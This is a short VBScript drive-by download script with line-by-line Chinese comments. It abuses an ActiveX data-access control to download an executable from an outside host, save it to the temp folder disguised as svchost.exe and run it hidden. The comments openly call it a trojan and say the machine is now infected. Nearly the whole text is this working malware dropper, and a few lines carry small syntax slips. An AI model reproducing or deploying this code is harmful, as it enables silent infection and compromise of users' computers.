Set df = document.createElement("object") '创建项目
　df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" '对项目进行36位全球唯一码编号
　Set x = df.CreateObject("Microsoft.XMLHTTP,"") '创建一个XMLHTTP项目(用来传输数据)
　set SS = df.createobject("ADODB.Stream","") '创建一个ADOBD数据流格式(数据媒介)
　SS.type = 1 '类型.1好像是2进制.具体忘了
　x.Open Get, "http://fxfqiao.com/laopo/1.exe", False '打开远程文件,这个就是木马文件了
　x.Send '发送
　set F = df.createobject("Scripting.FileSystemObject","") '创建一个文件项目(用来把数据流还原成文件)
　set tmp = F.GetSpecialFolder(2) '这句好像是获得文件夹
　SS.open ''
　fname1= F.BuildPath(tmp,"svchost.exe") '注入到svchost.exe
　SS.write x.responseBody '把远程文件写入数据流中
　SS.savetofile fname1,2 '把数据流存为文件.并且是直接写到svchost.exe的Hook好像,到这里.你的机器已经中毒
　set Q = df.createobject(Shell.Application,"") '创建一个Shell
　Q.ShellExecute fname1,"","","open",0 '到这里.你的病毒开始发挥作用